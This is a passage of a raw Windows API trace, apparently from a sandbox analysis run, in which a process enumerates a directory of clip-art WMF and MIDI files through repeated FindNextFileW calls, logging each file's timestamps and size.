ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0245.057] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0245.058] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0245.058] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0245.058] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0245.058] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0245.058] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0245.059] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0245.059] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0245.059] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0245.059] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0245.059] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0245.060] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0245.060] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0245.060] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0245.060] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0245.292] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0245.292] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0245.292] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0245.292] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0245.292] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0245.293] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0245.293] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0245.293] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0245.293] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0245.293] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0245.294] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0245.294] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0245.294] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0245.294] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0245.294] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0245.295] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0245.295] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0245.295] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0245.295] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0245.296] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0245.296] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0245.296] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0245.296] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0245.296] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0245.297] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0245.297] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0245.297] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0245.297] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0245.297] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, 